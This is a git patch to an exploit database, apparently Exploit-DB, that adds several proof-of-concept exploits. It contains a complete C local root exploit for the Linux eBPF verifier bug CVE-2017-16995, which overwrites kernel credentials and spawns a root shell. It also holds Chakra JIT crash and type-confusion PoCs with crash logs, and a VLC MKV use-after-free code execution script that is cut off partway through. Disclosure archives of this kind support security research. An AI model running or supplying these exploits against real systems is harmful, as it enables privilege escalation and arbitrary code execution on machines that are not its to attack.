From e76244b41ac7a1230f289902d92e022127cbf761 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Fri, 13 Jul 2018 05:02:00 +0000 Subject: [PATCH] DB: 2018-07-13 8 changes to exploits/shellcodes Adobe Flash Player 10.0.22 and AIR - 'intf_count' Integer Overflow Adobe Flash Player 10.0.22 / AIR - 'intf_count' Integer Overflow Microsoft Edge Chakra JIT - Out-of-Bounds Reads/Writes Microsoft Edge Chakra JIT - BoundFunction::NewInstance Out-of-Bounds Read Microsoft Edge Chakra JIT - Type Confusion with Hoisted SetConcatStrMultiItemBE Instructions VLC media player 2.2.8 - Arbitrary Code Execution (PoC) Linux Kernel < 4.13.9 (Ubuntu 16.04/Fedora 27) - Local Privilege Escalation 212Cafe Board - Multiple Cross-Site Scripting Vulnerabilities 212Cafe Board 0.08 Beta / 6.30 Beta - Multiple Cross-Site Scripting Vulnerabilities 123 Flash Chat - Multiple Vulnerabilities 123 Flash Chat 7.8 - Multiple Vulnerabilities Dicoogle PACS 2.5.0 - Directory Traversal --- exploits/linux/local/45010.c | 495 ++++++++++++++++++ .../{linux => multiple}/webapps/45007.txt | 0 exploits/windows/dos/45011.js | 15 + exploits/windows/dos/45012.js | 13 + exploits/windows/dos/45013.js | 199 +++++++ exploits/windows/local/44979.py | 297 +++++++++++ files_exploits.csv | 13 +- 7 files changed, 1028 insertions(+), 4 deletions(-) create mode 100644 exploits/linux/local/45010.c rename exploits/{linux => multiple}/webapps/45007.txt (100%) create mode 100644 exploits/windows/dos/45011.js create mode 100644 exploits/windows/dos/45012.js create mode 100644 exploits/windows/dos/45013.js create mode 100755 exploits/windows/local/44979.py diff --git a/exploits/linux/local/45010.c b/exploits/linux/local/45010.c new file mode 100644 index 000000000..3ad4b22a2 --- /dev/null +++ b/exploits/linux/local/45010.c @@ -0,0 +1,495 @@ +/* + Credit @bleidl, this is a slight modification to his original POC + https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c + + For details on how the exploit works, please visit + https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html + + Tested on Ubuntu 16.04 with the following Kernels + 4.4.0-31-generic + 4.4.0-62-generic + 4.4.0-81-generic + 4.4.0-116-generic + 4.8.0-58-generic + 4.10.0.42-generic + 4.13.0-21-generic + + Tested on Fedora 27 + 4.13.9-300 + gcc cve-2017-16995.c -o cve-2017-16995 + internet@client:~/cve-2017-16995$ ./cve-2017-16995 + [.] + [.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t) + [.] + [.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel ** + [.] + [*] creating bpf map + [*] sneaking evil bpf past the verifier + [*] creating socketpair() + [*] attaching bpf backdoor to socket + [*] skbuff => ffff880038c3f500 + [*] Leaking sock struct from ffff88003af5e180 + [*] Sock->sk_rcvtimeo at offset 472 + [*] Cred structure at ffff880038704600 + [*] UID from cred structure: 1000, matches the current: 1000 + [*] hammering cred structure at ffff880038704600 + [*] credentials patched, launching shell... + #id + uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(internet) + +*/ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +char buffer[64]; +int sockets[2]; +int mapfd, progfd; +int doredact = 0; + +#define LOG_BUF_SIZE 65536 +#define PHYS_OFFSET 0xffff880000000000 +char bpf_log_buf[LOG_BUF_SIZE]; + +static __u64 ptr_to_u64(void *ptr) +{ + return (__u64) (unsigned long) ptr; +} + +int bpf_prog_load(enum bpf_prog_type prog_type, + const struct bpf_insn *insns, int prog_len, + const char *license, int kern_version) +{ + union bpf_attr attr = { + .prog_type = prog_type, + .insns = ptr_to_u64((void *) insns), + .insn_cnt = prog_len / sizeof(struct bpf_insn), + .license = ptr_to_u64((void *) license), + .log_buf = ptr_to_u64(bpf_log_buf), + .log_size = LOG_BUF_SIZE, + .log_level = 1, + }; + + attr.kern_version = kern_version; + + bpf_log_buf[0] = 0; + + return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)); +} + +int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size, + int max_entries, int map_flags) +{ + union bpf_attr attr = { + .map_type = map_type, + .key_size = key_size, + .value_size = value_size, + .max_entries = max_entries + }; + + return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr)); +} + +int bpf_update_elem(int fd, void *key, void *value, unsigned long long flags) +{ + union bpf_attr attr = { + .map_fd = fd, + .key = ptr_to_u64(key), + .value = ptr_to_u64(value), + .flags = flags, + }; + + return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr)); +} + +int bpf_lookup_elem(int fd, void *key, void *value) +{ + union bpf_attr attr = { + .map_fd = fd, + .key = ptr_to_u64(key), + .value = ptr_to_u64(value), + }; + + return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr)); +} + +#define BPF_ALU64_IMM(OP, DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +#define BPF_MOV64_REG(DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_MOV | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) + +#define BPF_MOV32_REG(DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU | BPF_MOV | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) + +#define BPF_MOV64_IMM(DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_MOV | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +#define BPF_MOV32_IMM(DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU | BPF_MOV | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +#define BPF_LD_IMM64(DST, IMM) \ + BPF_LD_IMM64_RAW(DST, 0, IMM) + +#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_LD | BPF_DW | BPF_IMM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = (__u32) (IMM) }), \ + ((struct bpf_insn) { \ + .code = 0, \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = ((__u64) (IMM)) >> 32 }) + +#ifndef BPF_PSEUDO_MAP_FD +# define BPF_PSEUDO_MAP_FD 1 +#endif + +#define BPF_LD_MAP_FD(DST, MAP_FD) \ + BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD) + +#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + +#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + +#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = OFF, \ + .imm = IMM }) + +#define BPF_JMP_IMM(OP, DST, IMM, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = OFF, \ + .imm = IMM }) + +#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \ + ((struct bpf_insn) { \ + .code = CODE, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = IMM }) + +#define BPF_EXIT_INSN() \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_EXIT, \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = 0 }) + +#define BPF_DISABLE_VERIFIER() \ + BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF), /* r2 = (u32)0xFFFFFFFF */ \ + BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2), /* if (r2 == -1) { */ \ + BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */ \ + BPF_EXIT_INSN() /* } */ \ + +#define BPF_MAP_GET(idx, dst) \ + BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ \ + BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ \ + BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ \ + BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /* *(u32 *)(fp - 4) = idx */ \ + BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \ + BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ \ + BPF_EXIT_INSN(), /* exit(0); */ \ + BPF_LDX_MEM(BPF_DW, (dst), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */ + +static int load_prog() { + struct bpf_insn prog[] = { + BPF_DISABLE_VERIFIER(), + + BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_1, -16), /* *(fp - 16) = r1 */ + + BPF_LD_MAP_FD(BPF_REG_9, mapfd), + + BPF_MAP_GET(0, BPF_REG_6), /* r6 = op */ + BPF_MAP_GET(1, BPF_REG_7), /* r7 = address */ + BPF_MAP_GET(2, BPF_REG_8), /* r8 = value */ + + /* store map slot address in r2 */ + BPF_MOV64_REG(BPF_REG_2, BPF_REG_0), /* r2 = r0 */ + BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0 for exit(0) */ + + BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2), /* if (op == 0) */ + /* get fp */ + BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0), + BPF_EXIT_INSN(), + + BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3), /* else if (op == 1) */ + /* get skbuff */ + BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_10, -16), + BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0), + BPF_EXIT_INSN(), + + BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 3), /* else if (op == 2) */ + /* read */ + BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0), + BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0), + BPF_EXIT_INSN(), + /* else */ + /* write */ + BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), + BPF_EXIT_INSN(), + + }; + return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog), "GPL", 0); +} + +void info(const char *fmt, ...) { + va_list args; + va_start(args, fmt); + fprintf(stdout, "[.] "); + vfprintf(stdout, fmt, args); + va_end(args); +} + +void msg(const char *fmt, ...) { + va_list args; + va_start(args, fmt); + fprintf(stdout, "[*] "); + vfprintf(stdout, fmt, args); + va_end(args); +} + +void redact(const char *fmt, ...) { + va_list args; + va_start(args, fmt); + if(doredact) { + fprintf(stdout, "[!] ( ( R E D A C T E D ) )\n"); + return; + } + fprintf(stdout, "[*] "); + vfprintf(stdout, fmt, args); + va_end(args); +} + +void fail(const char *fmt, ...) { + va_list args; + va_start(args, fmt); + fprintf(stdout, "[!] "); + vfprintf(stdout, fmt, args); + va_end(args); + exit(1); +} + +void +initialize() { + info("\n"); + info("t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)\n"); + info("\n"); + info(" ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **\n"); + info("\n"); + + redact("creating bpf map\n"); + mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3, 0); + if (mapfd < 0) { + fail("failed to create bpf map: '%s'\n", strerror(errno)); + } + + redact("sneaking evil bpf past the verifier\n"); + progfd = load_prog(); + if (progfd < 0) { + if (errno == EACCES) { + msg("log:\n%s", bpf_log_buf); + } + fail("failed to load prog '%s'\n", strerror(errno)); + } + + redact("creating socketpair()\n"); + if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) { + fail("failed to create socket pair '%s'\n", strerror(errno)); + } + + redact("attaching bpf backdoor to socket\n"); + if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) { + fail("setsockopt '%s'\n", strerror(errno)); + } +} + +static void writemsg() { + ssize_t n = write(sockets[0], buffer, sizeof(buffer)); + if (n < 0) { + perror("write"); + return; + } + if (n != sizeof(buffer)) { + fprintf(stderr, "short write: %zd\n", n); + } +} + +static void +update_elem(int key, unsigned long value) { + if (bpf_update_elem(mapfd, &key, &value, 0)) { + fail("bpf_update_elem failed '%s'\n", strerror(errno)); + } +} + +static unsigned long +get_value(int key) { + unsigned long value; + if (bpf_lookup_elem(mapfd, &key, &value)) { + fail("bpf_lookup_elem failed '%s'\n", strerror(errno)); + } + return value; +} + +static unsigned long +sendcmd(unsigned long op, unsigned long addr, unsigned long value) { + update_elem(0, op); + update_elem(1, addr); + update_elem(2, value); + writemsg(); + return get_value(2); +} + +unsigned long +get_skbuff() { + return sendcmd(1, 0, 0); +} + +unsigned long +get_fp() { + return sendcmd(0, 0, 0); +} + +unsigned long +read64(unsigned long addr) { + return sendcmd(2, addr, 0); +} + +void +write64(unsigned long addr, unsigned long val) { + (void)sendcmd(3, addr, val); +} + +static unsigned long find_cred() { + uid_t uid = getuid(); + unsigned long skbuff = get_skbuff(); + /* + * struct sk_buff { + * [...24 byte offset...] + * struct sock *sk; + * }; + * + */ + + unsigned long sock_addr = read64(skbuff + 24); + msg("skbuff => %llx\n", skbuff); + msg("Leaking sock struct from %llx\n", sock_addr); + if(sock_addr < PHYS_OFFSET){ + fail("Failed to find Sock address from sk_buff.\n"); + } + + /* + * scan forward for expected sk_rcvtimeo value. + * + * struct sock { + * [...] + * const struct cred *sk_peer_cred; + * long sk_rcvtimeo; + * }; + */ + for (int i = 0; i < 100; i++, sock_addr += 8) { + if(read64(sock_addr) == 0x7FFFFFFFFFFFFFFF) { + unsigned long cred_struct = read64(sock_addr - 8); + if(cred_struct < PHYS_OFFSET) { + continue; + } + + unsigned long test_uid = (read64(cred_struct + 8) & 0xFFFFFFFF); + + if(test_uid != uid) { + continue; + } + msg("Sock->sk_rcvtimeo at offset %d\n", i * 8); + msg("Cred structure at %llx\n", cred_struct); + msg("UID from cred structure: %d, matches the current: %d\n", test_uid, uid); + + return cred_struct; + } + } + fail("failed to find sk_rcvtimeo.\n"); +} + +static void +hammer_cred(unsigned long addr) { + msg("hammering cred structure at %llx\n", addr); +#define w64(w) { write64(addr, (w)); addr += 8; } + unsigned long val = read64(addr) & 0xFFFFFFFFUL; + w64(val); + w64(0); w64(0); w64(0); w64(0); + w64(0xFFFFFFFFFFFFFFFF); + w64(0xFFFFFFFFFFFFFFFF); + w64(0xFFFFFFFFFFFFFFFF); +#undef w64 +} + +int +main(int argc, char **argv) { + initialize(); + hammer_cred(find_cred()); + msg("credentials patched, launching shell...\n"); + if(execl("/bin/sh", "/bin/sh", NULL)) { + fail("exec %s\n", strerror(errno)); + } +} \ No newline at end of file diff --git a/exploits/linux/webapps/45007.txt b/exploits/multiple/webapps/45007.txt similarity index 100% rename from exploits/linux/webapps/45007.txt rename to exploits/multiple/webapps/45007.txt diff --git a/exploits/windows/dos/45011.js b/exploits/windows/dos/45011.js new file mode 100644 index 000000000..9443fa152 --- /dev/null +++ b/exploits/windows/dos/45011.js @@ -0,0 +1,15 @@ +/* +It seems that this issue is similar to the issue 1429 (MSRC 42111). It might need to refresh the page several times to observe a crash. + +PoC: +*/ + +let arr = new Uint32Array(1000); +for (let i = 0; i < 0x1000000; i++) { + for (let j = 0; j < 1; j++) { + i--; + i++; + } + + arr[i] = 0x1234; +} \ No newline at end of file diff --git a/exploits/windows/dos/45012.js b/exploits/windows/dos/45012.js new file mode 100644 index 000000000..a6f353b9c --- /dev/null +++ b/exploits/windows/dos/45012.js @@ -0,0 +1,13 @@ +/* +BoundFunction::NewInstance is used to handle calls to a bound function. The method first allocates a new argument array and copies the prepended arguments and others into the new argument array and calls the actual function. The problem is, it doesn't care about the CallFlags_ExtraArg flag which indicates that there's an extra argument (new.target in the PoC) at the end of the argument array. So the size of the new argument array created with the CallFlags_ExtraArg flag will be always 1 less then required, this leads to an OOB read. + +PoC: +*/ + +function func() { + new.target.x; +} + +let bound = func.bind({}, 1); + +Reflect.construct(bound, []); \ No newline at end of file diff --git a/exploits/windows/dos/45013.js b/exploits/windows/dos/45013.js new file mode 100644 index 000000000..683c3920b --- /dev/null +++ b/exploits/windows/dos/45013.js @@ -0,0 +1,199 @@ +/* +Here's a PoC: +*/ + +function opt(str) { + for (let i = 0; i < 200; i++) { + let tmp = str.charCodeAt('AAAAAAAAAA' + str + 'BBBBBBBBBB'); + } +} + +opt('x'); +opt(0x1234); + +/* +Here's the IR code of the PoC before the global optimization phase: +--------- + FunctionEntry # + s18.u64 = ArgIn_A prm1<32>.var # + s9.var = LdSlot s32(s18l[53]).var # + s7.var = LdSlot s20(s18l[51]).var # + s8.var = LdSlot s19(s18l[52]).var # + s1[Object].var = Ld_A 0x7FFFF47A0000 (GlobalObject)[Object].var # + s2.var = LdC_A_I4 0 (0x0).i32 # + s3.var = LdC_A_I4 200 (0xC8).i32 # + s4.var = LdC_A_I4 1 (0x1).i32 # + s5[String].var = LdStr 0x7FFFF47B9080 ("AAAAAAAAAA")[String].var # + s6[String].var = LdStr 0x7FFFF47B90A0 ("BBBBBBBBBB")[String].var # + s17.var = InitLoopBodyCount #0009 +--------- +$L1: >>>>>>>>>>>>> LOOP TOP >>>>>>>>>>>>> Implicit call: no #000b + + + Line 2: i < 200; i++) { + Col 21: ^ + StatementBoundary #1 #000b + s17.i32 = IncrLoopBodyCount s17.i32 #000b + BrLt_A $L3, s8.var, s3.var #000b + Br $L2 #0010 +--------- +$L3: #0013 + + + Line 3: let tmp = str.charCodeAt('AAAAAAAAAA' + str + 'BBBBBBBBBB'); + Col 9: ^ + StatementBoundary #2 #0013 + s13.var = Ld_A s7.var #0013 + CheckFixedFld s21(s13->charCodeAt)<0,m~=,+-,s?,s?>.var #0016 Bailout: #0016 (BailOutFailedEquivalentFixedFieldTypeCheck) + s12[ffunc][Object].var = Ld_A 0x7FFFF47972C0 (FunctionObject).var # + s22.var = StartCall 2 (0x2).i32 #001a + s36.var = BytecodeArgOutCapture s13.var #001d + s24[String].var = Conv_PrimStr s5.var #0020 + s25[String].var = Conv_PrimStr s7.var #0020 + s26[String].var = Conv_PrimStr s6.var #0020 + ByteCodeUses s7 #0020 + s27.var = SetConcatStrMultiItemBE s24[String].var #0020 + s28.var = SetConcatStrMultiItemBE s25[String].var, s27.var #0020 + s29.var = SetConcatStrMultiItemBE s26[String].var, s28.var #0020 + s14[String].var = NewConcatStrMultiBE 3 (0x3).u32, s29.var #0020 + s35.var = BytecodeArgOutCapture s14.var #0025 + arg1(s34)<0>.u64 = ArgOut_A_InlineSpecialized 0x7FFFF47972C0 (FunctionObject).var, arg2(s30)<8>.var #0028 + arg1(s23)<0>.var = ArgOut_A s36.var, s22.var #0028 + arg2(s30)<8>.var = ArgOut_A s35.var, arg1(s23)<0>.var #0028 + ByteCodeUses s12 #0028 + s31[CanBeTaggedValue_Int_Number].var = CallDirect String_CharCodeAt.u64, arg1(s34)<0>.u64 #0028 + s9.var = Ld_A s31.var #0032 + + + Line 2: i++) { + Col 30: ^ + StatementBoundary #3 #0035 + s8.var = Incr_A s8.var #0035 + Br $L1 #0038 +--------- +$L2: #003d + + + Line 5: } + Col 1: ^ + StatementBoundary #4 #0038 + s16.i64 = Ld_I4 61 (0x3D).i64 #003d + s19(s18l[52]).var = StSlot s8.var #003e + s32(s18l[53]).var = StSlot s9.var #003e + StLoopBodyCount s17.i32 #003e + Ret s16.i64 #003e +---------------------------------------------------------------------------------------- + +After the global optimization phase: +--------- + FunctionEntry # + s18.u64 = ArgIn_A prm1<32>.var! # + s9[LikelyCanBeTaggedValue_Int].var = LdSlot s32(s18l[53])[LikelyCanBeTaggedValue_Int].var! # + s7[LikelyCanBeTaggedValue_String].var = LdSlot s20(s18l[51])[LikelyCanBeTaggedValue_String].var! # + s8[LikelyCanBeTaggedValue_Int].var = LdSlot s19(s18l[52])[LikelyCanBeTaggedValue_Int].var! # + s5[String].var = LdStr 0x7FFFF47B9080 ("AAAAAAAAAA")[String].var # + s6[String].var = LdStr 0x7FFFF47B90A0 ("BBBBBBBBBB")[String].var # + s17.var = InitLoopBodyCount #0009 + s42(s8).i32 = FromVar s8[LikelyCanBeTaggedValue_Int].var # Bailout: #000b (BailOutIntOnly) + s27.var = SetConcatStrMultiItemBE s5[String].var #0020 + s49[String].var = Conv_PrimStr s7[String].var # + s28.var = SetConcatStrMultiItemBE s49[String].var!, s27.var! #0020 + s29.var = SetConcatStrMultiItemBE s6[String].var, s28.var! #0020 + s14[String].var = NewConcatStrMultiBE 3 (0x3).u32, s29.var! #0020 + BailTarget # Bailout: #000b (BailOutShared) +--------- +$L1: >>>>>>>>>>>>> LOOP TOP >>>>>>>>>>>>> Implicit call: no #000b + + + Line 2: i < 200; i++) { + Col 21: ^ + StatementBoundary #1 #000b + s17.i32 = IncrLoopBodyCount s17.i32! #000b + BrGe_I4 $L2, s42(s8).i32, 200 (0xC8).i32 #000b + + + Line 3: let tmp = str.charCodeAt('AAAAAAAAAA' + str + 'BBBBBBBBBB'); + Col 9: ^ + StatementBoundary #2 #0013 + CheckFixedFld s43(s7[LikelyCanBeTaggedValue_String]->charCodeAt)<0,m~=,++,s44!,s45+,{charCodeAt(0)~=}>.var! #0016 Bailout: #0016 (BailOutFailedEquivalentFixedFieldTypeCheck) + s22.var = StartCall 2 (0x2).i32 #001a + arg1(s34)<0>.u64 = ArgOut_A_InlineSpecialized 0x7FFFF47972C0 (FunctionObject).var, arg2(s30)<8>.var! #0028 + arg1(s23)<0>.var = ArgOut_A s7[String].var, s22.var! #0028 + arg2(s30)<8>.var = ArgOut_A s14[String].var, arg1(s23)<0>.var! #0028 + s31[CanBeTaggedValue_Int_Number].var = CallDirect String_CharCodeAt.u64, arg1(s34)<0>.u64! #0028 Bailout: #0032 (BailOutOnImplicitCalls) + s9[CanBeTaggedValue_Int_Number].var = Ld_A s31[CanBeTaggedValue_Int_Number].var! #0032 + + + Line 2: i++) { + Col 30: ^ + StatementBoundary #3 #0035 + s42(s8).i32 = Add_I4 s42(s8).i32!, 1 (0x1).i32 #0035 + Br $L1 #0038 +--------- +$L2: #003d + + + Line 5: } + Col 1: ^ + StatementBoundary #4 #003d + s8[CanBeTaggedValue_Int].var = ToVar s42(s8).i32! #003e + s19(s18l[52])[CanBeTaggedValue_Int].var! = StSlot s8[CanBeTaggedValue_Int].var! #003e + s32(s18l[53])[LikelyCanBeTaggedValue_Int_Number].var! = StSlot s9[LikelyCanBeTaggedValue_Int_Number].var! #003e + StLoopBodyCount s17.i32! #003e + Ret 61 (0x3D).i32 #003e +---------------------------------------------------------------------------------------- + +Crash log: +[----------------------------------registers-----------------------------------] +RAX: 0x1000000001234 +RBX: 0x7ffff47c5ff4 --> 0x31 ('1') +RCX: 0x7ff7f4600000 --> 0x0 +RDX: 0x0 +RSI: 0x80000001 --> 0x0 +RDI: 0x1000000001234 +RBP: 0x7ffffffef410 --> 0x7ffffffef590 --> 0x7ffffffefb90 --> 0x7ffffffefc90 --> 0x7ffffffefef0 --> 0x7fffffff48b0 (--> ...) +RSP: 0x7ffffffef340 --> 0x7ffffffef3b0 --> 0x1000000001234 +RIP: 0x7ff7f385017a (cmp QWORD PTR [rax],r10) +R8 : 0x55555cfbc870 --> 0x555557fc27e0 (: push rbp) +R9 : 0x7ff7f4600000 --> 0x0 +R10: 0x55555cfbc870 --> 0x555557fc27e0 (: push rbp) +R11: 0x7ffff47b9080 --> 0x55555cfa0f18 --> 0x555557fc27e0 (: push rbp) +R12: 0x0 +R13: 0x7ffff47b36b0 --> 0x55555cfbee70 --> 0x555557fc27e0 (: push rbp) +R14: 0x0 +R15: 0x1000000001234 +EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow) +[-------------------------------------code-------------------------------------] + 0x7ff7f385016e: mov BYTE PTR [rcx+rax*1],0x1 + 0x7ff7f3850172: mov rax,QWORD PTR [rbp-0x10] + 0x7ff7f3850176: mov r10,QWORD PTR [rbp-0x18] +=> 0x7ff7f385017a: cmp QWORD PTR [rax],r10 + 0x7ff7f385017d: je 0x7ff7f385037c + 0x7ff7f3850183: mov rcx,rax + 0x7ff7f3850186: mov QWORD PTR [rbp-0x18],rcx + 0x7ff7f385018a: mov eax,DWORD PTR [rcx+0x18] +[------------------------------------stack-------------------------------------] +0000| 0x7ffffffef340 --> 0x7ffffffef3b0 --> 0x1000000001234 +0008| 0x7ffffffef348 --> 0x7ffff471c1e0 --> 0x55555cf48850 --> 0x555556c17100 (: push rbp) +0016| 0x7ffffffef350 --> 0x7ffff471c298 --> 0x7ffff4774140 --> 0x10f1215030708 +0024| 0x7ffffffef358 --> 0x7ffff471c298 --> 0x7ffff4774140 --> 0x10f1215030708 +0032| 0x7ffffffef360 --> 0x7ffffffef410 --> 0x7ffffffef590 --> 0x7ffffffefb90 --> 0x7ffffffefc90 --> 0x7ffffffefef0 (--> ...) +0040| 0x7ffffffef368 --> 0x555556c40b8b (::Get(Js::FunctionBody::CounterFields) const+139>: movzx ecx,BYTE PTR [rbp-0x22]) +0048| 0x7ffffffef370 --> 0x7ffff47a4238 --> 0x7ffff47c5fe0 --> 0x7ffff4796a40 --> 0x55555cf4df58 --> 0x555556cb7a20 (::IsReadOnly() const>: push rbp) +0056| 0x7ffffffef378 --> 0x7ffffffef4a0 --> 0x7ffffffef4c0 --> 0x7ffffffef590 --> 0x7ffffffefb90 --> 0x7ffffffefc90 (--> ...) +[------------------------------------------------------------------------------] +Legend: code, data, rodata, value +Stopped reason: SIGSEGV +0x00007ff7f385017a in ?? () + + +Background: +Invariant operations like SetConcatStrMultiItemBE in a loop can be hoisted to the landing pad of the loop to avoid performing the same operation multiple times. When Chakra hoists a SetConcatStrMultiItemBE instruction, it creates a new Conv_PrimStr instruction to ensure the type of the Src1 of the SetConcatStrMultiItemBE instruction to be String and inserts it right before the SetConcatStrMultiItemBE instruction. + +What happens here is: +1. The CheckFixedFld instruction ensures the type of s7 to be String. +2. Chakra judges that the CheckFixedFld instruction can't be hoisted in the case. It remains in the loop. +3. Chakra judges that the SetConcatStrMultiItemBE instructions can be hoisted. It hoists them along with a newly created Conv_PrimStr instruction, but without invalidating the type of s7 (String). +4. So the "s49[String].var = Conv_PrimStr s7[String].var" instruction is inserted into the landing pad. Since s7 is already assumed to be of String, the instruction will have no effects at all. +5. No type check will be performed. It will result in type confusion. +*/ \ No newline at end of file diff --git a/exploits/windows/local/44979.py b/exploits/windows/local/44979.py new file mode 100755 index 000000000..9b6b23223 --- /dev/null +++ b/exploits/windows/local/44979.py @@ -0,0 +1,297 @@ +# Exploit Title: VLC media player 2.2.8 - Arbitrary Code Execution PoC +# Date: 2018-06-06 +# Exploit Author: Eugene Ng +# Vendor Homepage: https://www.videolan.org/vlc/index.html +# Software Link: http://download.videolan.org/pub/videolan/vlc/2.2.8/win64/vlc-2.2.8-win64.exe +# Version: 2.2.8 +# Tested on: Windows 10 x64 +# CVE: CVE-2018-11529 +# +# 1. Description +# +# VLC media player through 2.2.8 is prone to a Use-After-Free (UAF) vulnerability. This issue allows +# an attacker to execute arbitrary code in the context of the logged-in user via crafted MKV files. Failed +# exploit attempts will likely result in denial of service conditions. +# +# Exploit can work on both 32 bits and 64 bits of VLC media player. +# +# 2. Proof of Concept +# +# Generate MKV files using python +# Open VLC media player +# Drag and drop poc.mkv into VLC media player (more reliable than double clicking) +# +# 3. Solution +# +# Update to version 3.0.3 +# https://get.videolan.org/vlc/3.0.3/win64/vlc-3.0.3-win64.exe + +import uuid +from struct import pack + +class AttachedFile(object): + def __init__(self, data): + self.uid = '\x46\xae' + data_size(8) + uuid.uuid4().bytes[:8] + self.name = '\x46\x6e' + data_size(8) + uuid.uuid4().bytes[:8] + self.mime = '\x46\x60' + data_size(24) + 'application/octet-stream' + self.data = '\x46\x5c' + data_size(len(data)) + data + self.header = '\x61\xa7' + data_size(len(self.name) + len(self.data) + len(self.mime) + len(self.uid)) + + def __str__(self): + return self.header + self.name + self.mime + self.uid + self.data + +def to_bytes(n, length): + h = '%x' % n + s = ('0'*(len(h) % 2) + h).zfill(length*2).decode('hex') + return s + +def data_size(number, numbytes=range(1, 9)): + # encode 'number' as an EBML variable-size integer. + size = 0 + for size in numbytes: + bits = size*7 + if number <= (1 << bits) - 2: + return to_bytes(((1 << bits) + number), size) + raise ValueError("Can't store {} in {} bytes".format(number, size)) + +def build_data(size, bits, version): + target_addresses = { + '64': 0x40000040, + '32': 0x22000020, + } + target_address = target_addresses[bits] + + exit_pointers = { + '64': { + '2.2.8': 0x00412680, + }, + '32': { + '2.2.8': 0x00411364, + } + } + pExit = exit_pointers[bits][version] + 